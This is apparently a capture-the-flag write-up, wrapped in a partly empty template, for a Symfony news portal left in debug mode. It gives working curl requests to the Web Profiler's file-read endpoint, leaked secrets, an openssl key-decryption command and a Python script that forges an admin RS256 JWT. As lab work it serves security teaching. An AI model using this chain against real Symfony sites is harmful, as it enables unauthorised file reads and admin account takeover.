Bug News
Bug News
Platform: Bug Makers | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-29 | Status: Solved Techniques: draft_article_disclosure, encrypted_pem_decrypt_with_known_passphrase, profiler_open_file_read, relative_path_requirement, rs256_jwt_forgery
Summary
Task: Symfony 8 news portal accidentally left in DEV mode (APP_DEBUG=1) with the Web Profiler exposed; the flag lives in a draft article behind an admin-only RS256-JWT API. Solution: use /_profiler/open with a project-relative path for arbitrary file read, leak the encrypted JWT private key, decrypt it with JWT_PASSPHRASE from /_profiler/phpinfo, forge an admin RS256 token, and read the draft article.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
bug-makers| ID:20260529_bug_makers_bug_news - Tags: jwt, information_disclosure, debug_mode, token_forgery, arbitrary_file_read, rs256, symfony, web_profiler, jwt_key_leak, lexik
- Indicators: Symfony Web Profiler /_profiler/ accessible in production, APP_DEBUG=1 / APP_ENV=dev, /_profiler/open?file=&line= endpoint, /_profiler/phpinfo leaks JWT_PASSPHRASE and APP_SECRET, LexikJWTAuthenticationBundle with RS256 file-based keys
- Source:
20260529_bug_makers_bug_news.md
Foothold
Vulnerability / Misconfiguration
- Draft_article_disclosure
- Encrypted_pem_decrypt_with_known_passphrase
- Profiler_open_file_read
- Relative_path_requirement
- Rs256_jwt_forgery
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- draft_article_disclosure
- encrypted_pem_decrypt_with_known_passphrase
- profiler_open_file_read
- relative_path_requirement
- rs256_jwt_forgery
- Tags: jwt, information_disclosure, debug_mode, token_forgery, arbitrary_file_read, rs256, symfony, web_profiler, jwt_key_leak, lexik
Original Writeup
<details><summary>Click to expand original content</summary>Description
Bug News — a Symfony news portal. Target: https://bug-news.t1.bug-makers.ru/
English summary: A Symfony 8.0.8 (PHP 8.4.20) news portal is accidentally running in DEV mode (APP_DEBUG=1, APP_ENV=dev) with the Symfony Web Profiler reachable in production. The flag is stored in an unpublished DRAFT article (id=2, is_published=0) that is only returned by the admin-only, JWT-protected endpoint GET /admin-api/articles. The challenge name "Bug News" and internal project name bug_pr0f1ler (leet for "profiler"), together with the flag text, point at the root cause: the Symfony Web Profiler was left enabled in production.
Analysis
Recon / tech stack
- PHP 8.4.20, Symfony 8.0.8, served by the PHP built-in dev server (
php -S 0.0.0.0:8000 -t public). LexikJWTAuthenticationBundle, RS256, file-based keypair generated viaphp bin/console lexik:jwt:generate-keypair.- SQLite DB at
/var/www/bug_pr0f1ler_data/app.db(outside docroot). - App path:
/var/www/bug_pr0f1ler. - Two firewalls:
main(AdminUserProvider, no authenticators) andadmin_api(JWT bearer).
Routes
GET /api/articles— public, hardcoded query returning only published articles.POST /admin-api/login-check— JSON{username,password}→{token}.GET /admin-api/articles— JWT-protected, lists ALL articles including drafts./admin,/admin/login,/admin/articles— client-side JWT pages./health,/_profiler/— the latter should not be public.
Root cause
Because APP_DEBUG=1, the Symfony Web Profiler routes are exposed. The critical one is:
GET /_profiler/open?file=<path>&line=<n> -> ARBITRARY FILE READ
The open action resolves $filename = $this->baseDir . '/' . $file, where baseDir is the Symfony project directory (/var/www/bug_pr0f1ler). It only blocks path segments containing a dot (preg_match("'(^|[/\\\\])\.'", $file)), which rejects ../ and dotfiles, and requires is_readable. The whole project tree is readable.
Critical gotcha: the file parameter MUST be a path RELATIVE to the project dir. Passing an ABSOLUTE path returns 404 — this initially looks like the endpoint is disabled, but it is just the relative-path requirement.
GET /_profiler/phpinfo is also accessible and leaks every env var:
APP_SECRET=fb3663aece0a99372694713f92f657f5
JWT_PASSPHRASE=fc27e19ba4aa4f34b1126d92f2f8c24a
ADMIN_API_ADMIN_LOGIN=admin
DATABASE_URL=sqlite:////var/www/bug_pr0f1ler_data/app.db
disable_functions and open_basedir are both empty.
Solution
The winning chain: profiler arbitrary file read → leak encrypted JWT private key → decrypt with known passphrase → forge admin RS256 token → read draft article.
1. Confirm arbitrary file read (relative path!)
curl -s "https://bug-news.t1.bug-makers.ru/_profiler/open?file=src/Controller/SecurityController.php&line=40"
The response is an HTML page where source lines are rendered as <ol><li> items; parse them. An ABSOLUTE path here returns 404 — always use a project-relative path.
2. Locate the JWT keys
curl -s "https://bug-news.t1.bug-makers.ru/_profiler/open?file=config/packages/lexik_jwt_authentication.yaml&line=1"
Reveals:
lexik_jwt_authentication:
secret_key: '%kernel.project_dir%/config/jwt/private.pem'
public_key: '%kernel.project_dir%/config/jwt/public.pem'
pass_phrase: '%env(JWT_PASSPHRASE)%'
token_ttl: 86400
3. Read the encrypted private key
curl -s "https://bug-news.t1.bug-makers.ru/_profiler/open?file=config/jwt/private.pem&line=1" \
| python3 -c "import sys,re,html; print('\n'.join(html.unescape(re.sub('<[^>]+>','',l)) for l in sys.stdin.read().splitlines() if 'PRIVATE KEY' in l or l.strip().endswith('=') or len(l.strip())==64))"
You get a -----BEGIN ENCRYPTED PRIVATE KEY----- PEM block. Save it as jwt_private.pem.
4. Decrypt the private key with the known passphrase
JWT_PASSPHRASE was leaked from /_profiler/phpinfo:
openssl pkey -in jwt_private.pem \ -passin pass:fc27e19ba4aa4f34b1126d92f2f8c24a \ -out jwt_private_dec.pem
5. Forge an admin RS256 JWT
The SecurityController builds the token from new InMemoryUser('admin', null, ['ROLE_ADMIN']), so Lexik emits claims username, roles, iat, exp.
#!/usr/bin/env python3
import jwt, time # pip install pyjwt
key = open('jwt_private_dec.pem').read()
now = int(time.time())
tok = jwt.encode(
{"iat": now, "exp": now + 86400, "roles": ["ROLE_ADMIN"], "username": "admin"},
key,
algorithm="RS256",
)
print(tok)
6. Call the admin API with the forged token
TOK="<token from step 5>" curl -s https://bug-news.t1.bug-makers.ru/admin-api/articles \ -H "Authorization: Bearer $TOK"
The response includes draft article id=2 (isPublished:false) whose content is the flag:
BugCTF{REDACTED}
Supporting detail (secondary techniques)
Auth logic (read via profiler file-read)
$username = trim((string)($payload['username'] ?? ''));
$password = (string)($payload['password'] ?? '');
$expectedUsername = $_ENV['ADMIN_API_ADMIN_LOGIN'] ?? 'admin';
if ($username !== $expectedUsername
|| !$adminUserRepository->validateCredentials($expectedUsername, $password)) {
return 'Invalid credentials.';
}
$user = new InMemoryUser($expectedUsername, null, ['ROLE_ADMIN']);
return new JsonResponse(['token' => $jwtTokenManager->create($user)]);
AdminUserRepository::validateCredentials compares the password via hash_equals against a PLAINTEXT value in admin_user (unless it starts with $2y$/$argon2, then password_verify). So login would also be crackable if the DB were readable, but the JWT-key-leak path is cleaner and intended.
Debug error pages as a secondary source-disclosure primitive
POSTing {"username":["x"],"password":"y"} with Accept: text/html to /admin-api/login-check triggers a PHP "Array to string conversion" warning, and Symfony renders a full HTML exception page with ~10 lines of highlighted source around the error line. It only reveals source near controllable error lines (capped around line 33), so /_profiler/open is strictly more powerful.
Entrypoint
docker/entrypoint.sh (read via file-read) runs lexik:jwt:generate-keypair --skip-if-exists then doctrine:migrations:migrate, confirming the keys are file-based and decryptable with JWT_PASSPHRASE.
Rabbit holes / failed approaches
- JWT forgery before obtaining the key — HS256/384/512 over APP_SECRET & JWT_PASSPHRASE, EdDSA from passphrase-derived seeds,
alg:none, malformed signatures: all cleanly rejected (RS256 with a real key required). - Brute-forcing the admin password (10k+ wordlist) — futile.
- SQL injection in
/api/articles— query is fully hardcoded; params ignored. - The
ProfilerRequestFilterSubscribercookie logic (main_deauth_profile_token/main_auth_profile_token, disabling profiling for/admin-api/*) — a decoy/rabbit-hole. - Profiler DB "explain" action — only ever runs EXPLAIN QUERY PLAN on the single hardcoded published-articles query.
- Absolute paths in
/_profiler/open— return 404; must use project-relative paths.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR